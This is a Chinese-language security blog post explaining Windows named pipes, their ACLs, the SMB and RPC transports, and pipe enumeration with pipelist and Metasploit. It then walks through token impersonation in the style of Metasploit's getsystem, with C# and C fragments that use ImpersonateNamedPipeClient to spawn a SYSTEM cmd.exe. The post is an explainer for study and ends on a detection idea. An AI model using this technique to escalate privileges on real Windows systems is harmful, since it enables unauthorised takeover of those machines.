浅析命名管道

命名管道是一个命名的,单向或双面管道的管道服务器和一个或多个管道客户端之间的通信。

#简介

命名管道是计算机进程间的一种先进先出通信机制。是类Unix系统传统管道)的扩展。传统管道属于匿名管道,其生存期不超过创建管道的进程的生存期。但命名管道的生存期可以与操作系统运行期一样长。

命名管道是一个命名的,单向或双面管道的管道服务器和一个或多个管道客户端之间的通信。命名管道的所有实例共享相同的管道名称,但是每个实例都有其自己的缓冲区和句柄,并提供用于客户端/服务器通信的单独管道。使用实例可使多个管道客户端同时使用相同的命名管道。

任何进程都可以访问命名管道,但需要进行安全检查,从而使命名管道成为相关或不相关进程之间的简单通信形式。这就意味着所有进程都可以作为服务端或者客户端,从而使对等通信成为可能。

#命名管道基础

命名管道可用于提供同一计算机上的进程之间或整个网络上不同计算机上的进程之间的通信。如果服务器服务正在运行,则可以远程访问所有命名管道。如果打算仅在本地使用命名管道,需要拒绝访问NT AUTHORITY \ NETWORK或切换到本地RPC。

默认情况下,我们无法使用命名管道来控制计算机通信,但是微软提供了很多种 Windows API 函数,例如 :

##查看命名管道

命名管道的客户端可以是本地进程(本地访问:\.\pipe\PipeName)或者是远程进程(访问远程:\ServerName\pipe\PipeName)。很好理解,\地址\ pipe \ <管道名称>

使用powershell查看:Get-ChildItem \\.\pipe\

也可以通过Sysinternals工具包的pipelist.exe列举:

##命名管道和匿名管道

  • 命名管道:具有特定名称,所有实例共享该名称

  • 匿名管道:未命名

    仅用于子进程与其父进程之间的通信

    始终是本地的,它们不能用于网络通信

    关闭后即消失,或执行完其中一个(父项或子项)消失

    实际命名的管道具有随机名称

管道ACL和连接限制

命名管道由Windows NT中的文件系统驱动程序npfs.sys实现,它支持安全描述符

  • 安全描述符用于控制对命名管道的访问,其标识了该信息是哪个对象的。
  • 默认情况下,DACL权限设置为每个使用匿名登录的人(空会话)。当一个进程需要访问安全对象,系统就会检查DACL来决定进程的访问权。如果一个对象没有DACL,那么就是说这个对象是任何人都可以拥有完全的访问权限。
  • 可以将ACL修改为仅允许特定用户(与文件ACL相同)

知识补充

既然说到命名管道,肯定就会牵扯到其他的一些协议,如SMB、RPC。

命名管道网络通信使用了未加密的SMB协议(端口445)或DCE\RPC(端口135)

RPC(远程调用协议)

RPC

  • 一种协议,允许一个程序从程序中调用位于另一台计算机上服务
  • 无需了解网络的结构、细节
  • 使用135端口( TCP或UDP)

DCE / RPC

  • 这套系统可以让分散式运算软件能够调用远端系统的资源。一种用于在远程上调用过程的功能,就好像它是本地过程一样呼叫

###SMB

  • 提供共享的应用层网络协议。访问文件,打印机,串行端口等。

  • 常见的访问文件方法

    \\192.168.1.1\c$\flag.txt

  • 还提供经过身份验证的进程间沟通机制

  • 使用445端口(TCP)

#命名管道枚举和扫描

命名管道可以通过工具进行枚举或者扫描

##命名管道列举:pipelist

Download:https://download.sysinternals.com/files/PipeList.zip

命名管道扫描枚举:metasploit

msf中有两个模块可对命名管道的扫描:SMB (Pipe_Auditor) 和RPC (Pipe_dcerpc_auditor)

在wordlists中还可增加命名管道名

结合ms17010模块,还可以做一定程度的利用,或许能用枚举出的命名管道进行攻击

模拟令牌

##基本原理

命名管道还有一种常用的操作,就是通过模拟令牌,达到提权的目的。

大家都用过msf里面的getsystem命令,其中就有一个模块支持通过模拟令牌从本地管理员权限提升到system权限。

我们首先需要了解如何模拟另一个用户。模拟是Windows提供的一种方法,在该方法中,进程可以模拟另一个用户的安全内容。例如,如果FTP服务器的进程允许用户进行身份验证,并且只希望允许访问特定用户拥有的文件,则该进程可以模拟该用户帐户并允许Windows强制实施。

Windows提供了这样的API,ImpersonateNamedPipeClient API调用是getsystem模块功能的关键。

ImpersonateNamedPipeClient允许命名管道模拟客户端的服务器端。调用此函数时,命名管道文件系统会更改调用进程的线程,以开始模拟从管道读取的最后一条消息的安全内容。只有管道的服务器端可以调用此函数。

例如,如果属于“受害者”的进程连接并写入属于“攻击者”的命名管道,则攻击者可以调用ImpersonateNamedPipeClient模拟“受害者”的令牌,从而模拟该用户。进程必须拥有SeImpersonatePrivilege特权(身份验证后模拟客户端)。

默认情况下,此特权仅对许多高特权用户可用

getsystem工作方式:

  1. 首先getsystem会创建一个新的windows服务,并以local system权限运行,在启动时连接到命名管道。
  2. getsystem再产生一个进程,该进程创建一个命名管道并等待服务的连接。
  3. Windows服务启动并连接到产生的进程的命名管道。
  4. 进程接收连接,并调用ImpersonateNamedPipeClient,通过模拟令牌获取system权限。

##代码剖析

结合代码看一下具体是怎么实现的

1.首先打包一个windows服务,代码为发送任意字符到(待命中的)命名管道。这是一个windows服务安装程序,该程序安装后便会启动服务执行命令。

1
2
3
4
5
6
7
8
public void start(string pipe)
{
System.IO.Pipes.NamedPipeClientStream client = new System.IO.Pipes.NamedPipeClientStream(".", pipe, System.IO.Pipes.PipeDirection.Out, System.IO.Pipes.PipeOptions.None, System.Security.Principal.TokenImpersonationLevel.Delegation);
client.Connect();

// Write some data (doesn't matter what)
client.Write(new byte[] { 0x40, 0x5f, 0x78, 0x70, 0x6e, 0x5f }, 0, 6);
}

2.新的进程,通过该进程创建一个命名管道等待连接。

1
2
3
4
5
6
7
8
9
10
//创建命名管道
HANDLE namedPipe = CreateNamedPipeA(PIPE_PATH,
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
1024,
1024,
0,
NULL
);

3.使用新进程安装之前打包好的windows服务安装程序,建立连接

1
2
//安装服务
GetModuleFileNameA(LoadLibraryA(SERVICE_EXE), servicePath, sizeof(servicePath));
1
2
//建立连接
connected = ConnectNamedPipe(namedPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED);

4.使用API模拟令牌,派生一个system shell

1
2
3
4
if (ImpersonateNamedPipeClient(namedPipe) == 0) {
printf("[!] Error impersonating client\n");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
if (!CreateProcessAsUserA(newtoken, NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
printf("[!] CreateProcessAsUser failed (%d), trying another method.\n", GetLastError());

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

// Sometimes we fail above (as shown at meterpreter/source/extensions/stdapi/server/sys/process/process.c)
if (!CreateProcessWithTokenW(newtoken, LOGON_NETCREDENTIALS_ONLY, NULL, L"cmd.exe", NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
printf("[!] CreateProcessWithToken failed (%d).\n", GetLastError());
return 0;
}
}

小结

通过学习到模拟令牌的权限提升,对蓝队也有一个有趣的思考,如何区分、判断一个进程的父进程与子进程权限是否一致,或许这也是一个不错的拦截黑客的想法。

参考

https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation#token-impersonation

https://rcoil.me/2019/11/%E3%80%90%E7%9F%A5%E8%AF%86%E5%9B%9E%E9%A1%BE%E3%80%91%E5%91%BD%E5%90%8D%E7%AE%A1%E9%81%93/

https://www.anquanke.com/post/id/190207#h2-0

https://decoder.cloud/2019/03/06/windows-named-pipes-impersonation/

https://docs.microsoft.com/zh-cn/windows/win32/ipc/named-pipes

https://blog.xpnsec.com/becoming-system/

https://securityintelligence.com/identifying-named-pipe-impersonation-and-other-malicious-privilege-escalation-techniques/

Author: rootrain
Link: https://rootrain.me/2020/02/29/浅析命名管道/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.